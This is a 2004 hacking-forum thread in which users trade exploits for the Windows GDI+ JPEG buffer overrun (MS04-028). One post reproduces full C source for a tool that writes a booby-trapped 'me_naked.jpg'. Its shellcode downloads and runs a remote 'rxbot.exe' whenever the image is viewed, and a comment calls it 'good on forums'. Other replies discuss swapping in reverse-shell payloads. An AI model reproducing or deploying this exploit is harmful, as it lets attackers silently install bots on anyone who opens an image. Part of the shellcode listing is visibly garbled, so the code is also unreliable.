hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Gurou
exploit that creates a jpeg image to test for the buffer overrun vulnerability discovered under Microsoft Windows. Shellcode and valid addresses have been removed.

http://www.k-otik.com/exploits/09222004.ms04-28.sh.php

we have to find the valid addresses biggrin.gif
Bombers
bah, shellcode removed, lame
brOmstar
lol @bomber people like u r the reason for that - I will have a look at this with ollydbg wink.gif
Gurou
yeah the ret address and shellcode areneeded
Gurou
another one ...

// launch a local cmd.exe (not bound to the net)...
// GDI+ buffer overrun exploit by FoToZ
// NB: the headers here are only sample headers taken from a .JPG file,
// with the FF FE 00 01 inserted in header1.
// Sample shellcode is provided
// You can put approx. 2500 bytes of shellcode...who needs that much anyway
// Tested on an unpatched WinXP SP1

http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
Serhat
QUOTE (Gurou @ Sep 22 2004, 06:15 PM)
another one ...

// launch a local cmd.exe (not bound to the net)...
// GDI+ buffer overrun exploit by FoToZ
// NB: the headers here are only sample headers taken from a .JPG file,
// with the FF FE 00 01 inserted in header1.
// Sample shellcode is provided
// You can put approx. 2500 bytes of shellcode...who needs that much anyway
// Tested on an unpatched WinXP SP1

http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php

have fun.. compiled executable + source..

Serhat
Yorn
So let me get this straight, you push the shellcode from, say, metasploit into this and you can get a reverse connect command shell? sheesh.
Gurou
and here is the ADMINISTRATOR exploit

http://www.k-otik.com/exploits/09232004.ms04-28-admin.sh.php

x1`
find this one with shellcode apparently biggrin.gif


// modded some only by mhig, rest by fotoz
// this downloads+executes a file when file viewed.
// good on forums biggrin.gif

//note shellcode max size 2500b
#include <direct.h>
#include <stdio.h>

char shellcode[]=
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x30"
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
"\x6C\
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"
"http://www.crackhoe.com/rxbot.exe" //put your shit in here
"\x08\x01";
;

char header1[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

char setNOPs1[]=
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char setNOPs2[]=
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char header2[]=
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00"
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01"
"\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02"
"\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
"\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05"
"\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0"
"\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83"
"\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03"
"\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71"
"\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92"
"\xD2\x03\x23\x82\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
"\x3F\x00\x0F\x90\xFF\x00\xBC\xDA\xB3\x36\x12\xC3\xD4\xAD\xC6\xDC"
"\x45\x2F\xB2\x97\xB8\x9D\xCB\x63\xFD\x26\xD4\xC6\xD7\x70\xA4\x19"
"\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"
"\x6D\x72\x4A\x9E\x27\x6B\x3E\xE6\x92\x86\x24\x85\x04\xDB\xED\xA9"
"\x64\x8E\x6B\x63\x67\x19\x1A\xA5\xE7\xB8\x28\x3D\x09\xAB\x5D\x5F"
"\x16\xF7\x8C\xED\x49\x4C\xF5\x01\xE6\xE5\xD5\x1C\x49\xAB\x10\x71"
"\xA6\x36\x9B\x93\x24\x61\x00\x0F\x61\xEC\x34\xA7\x9C\x23\xF4\x96"
"\xC6\xE6\xAF\xB7\x80\x76\xEF\x93\xF0\xAA\x28\x8A\x6B\xE0\x18\xC0"
"\xA4\x9B\x7E\x90\x39\x03\xC2\x90\xDC\x43\x31\x91\x62\x91\x86\x23"
"\x35\x35\xA2\x80\x4D\xFA\x72\x31\x07\x9D\x03\x70\xA8\x93\x24\x4F"
"\x89\x51\x83\x5E\xA4\x2E\x7A\xC0\x7D\xA9\x8A\x10\x61\x64\x07\xFA"
"\x88\xC6\x89\x26\xDA\x0F\x20\xBD\xB9\x16\xD2\xA8\xE8\x91\x3F\x1A"
"\xE2\xBA\xF0\xBE\x74\xAB\x1D\xC4\x44\x15\x1A\x8A\x9C\xC7\x2A\x6B"
"\xA3\x33\xB7\x1E\x88\x47\x69\xA9\x64\x68\x26\xC1\x97\x0B\xD6\x86"
"\x8B\x1B\x29\xC6\x87\xE4\xC7\xFD\xCC\x53\x11\xA5\x9C\x62\x6A\xE5"
"\x40\x37\x61\x89\xF6\xB2\x9C\x2A\x7C\xFD\x05\x6A\x30\x5F\x52\x02"
"\xEB\x72\xBF\x7D\x74\x4C\x23\xB9\x8F\xD8\x78\x67\x54\x59\x64\x47"
"\xC5\x75\x21\x18\xD5\xE3\x58\xE1\x72\x63\xBF\x6D\xBD\xCB\xCA\x82"
"\x65\xE7\xDB\x09\x54\x4F\x0D\x95\x86\x76\xE3\xF2\xA0\x48\x82\x55"
"\xD7\xA6\xCE\xA7\xAA\xDC\x6A\xF1\xA9\x8E\xE0\x35\xC1\xCA\xA1\xD4"
"\x93\xD2\xD6\x39\x95\x3C\x6B\x46\x60\xAC\xC1\x3B\x60\xC9\x70\x84"
"\x8E\xA1\x9A\x9A\x20\x01\x94\xCA\x08\x91\x53\xDC\x01\xB1\xB5\x12"
"\x37\x11\xC6\xC1\xAC\xF1\x11\xD4\x9C\x6B\x3E\x69\x76\xF0\x1D\x7B"
"\x52\x6D\xC9\xA8\x66\x94\xBB\x79\x8F\x7E\xDE\x17\xFD\x4D\xAB\x1E"
"\x76\x7A\xA3\x2B\xE2\x50\x06\xB7\x2C\xEB\x2A\x49\xC9\xEA\x4E\x9B"
"\xE7\xCA\xAF\x1E\xEC\x23\xDC\x8B\xE1\x6B\x5F\x1A\x9B\xE8\x49\x2E"
"\x63\xE5\x03\x32\xCD\x19\xB8\x23\x10\x78\x1F\x85\x5C\x15\x8C\x97"
"\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA"
"\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2"
"\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE"
"\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7"
"\xB6\xA1\x8D\x40\xE3\x86\x65\x6D\x1E\xDB\x89\x2F\x9D\xCD\x6B\x24"
"\x62\x41\x61\x89\xAC\x2D\x8B\x3E\xB6\x68\xC0\x63\x73\x70\x6B\x6B"
"\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3"
"\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E"
"\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35"
"\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD"
"\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D"
"\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35"
"\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27"
"\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B"
"\x69\xB9\xDC\x2B\x30\x87\x48\x53\xC5\x85\x3B\xDD\x8A\x4E\xB5\x42"
"\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2"
"\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7"
"\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46"
"\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F"
"\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20"
"\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA"
"\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F"
"\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8"
"\x22\xC7\x0C\xA8\x62\x3D\x17\x1D\x2F\xC8\xFA\xD4\xB0\x9E\x14\x45"
"\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B"
"\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82"
"\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93"
"\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F"
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68"
;

void main()
{
FILE *fin,*fout;
unsigned int i=0,j=0;
unsigned char c;
//mkdir("WARNING");
fout=fopen("me_naked.jpg","wb");

if( !fout ) {
printf("ERROR OPENING FILES\n");
return;
}
printf("shellcode size is %u bytes\n", sizeof(shellcode)-1);
for(i=0;i<sizeof(shellcode)-1;i++)
if( 0xD9FF == *(unsigned short *)&shellcode[i] ) {
printf("WARNING: SHELLCODE CONTAINS FFh D9h\n"
"FIX UR SHELLCODE\n");
return;
}
j=sizeof(header1)+sizeof(setNOPs1)+sizeof(header2)-3;
for(i=0;i<sizeof(header1)-1;i++)
fputc(header1[i],fout);
for(i=0;i<sizeof(setNOPs1)-1;i++)
fputc(setNOPs1[i],fout);
for(i=0;i<sizeof(header2)-1;i++)
fputc(header2[i],fout);
for(i=j;i<0x63c;i++) fputc(0x90,fout); // stuff in a couple of NOPs
j=i;
for(i=0;i<sizeof(shellcode)-1;i++)
fputc(shellcode[i],fout);
for(i=i+j;i<0x1000-sizeof(setNOPs2)+1;i++)
fputc(0x90,fout); // stuff NOPs
// (stuffing NOPs is becoming a bad habit)
for(j=0;i<0x1000 && j<sizeof(setNOPs2)-1;i++,j++)
fputc(setNOPs2[j],fout);

fprintf(fout,"\xFF\xD9");
fcloseall();
}
matiano
Heise Security(a german group) examines a JPEG picture, which brings also on completely patchted systems the Internet Explorer to the crash.

The error arises however only in Microsofts Web Browser, other applications concerned by the original JPEG safety gap seems in this case to be not endangered.

First results point on a problem with the processing of the SOS-Tags in JPGs.
tibbar
has this been patched by M$ yet? I tried the Fotoz .exe posted and loaded the generated jpeg into IE on sp2, and nothing happened...
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.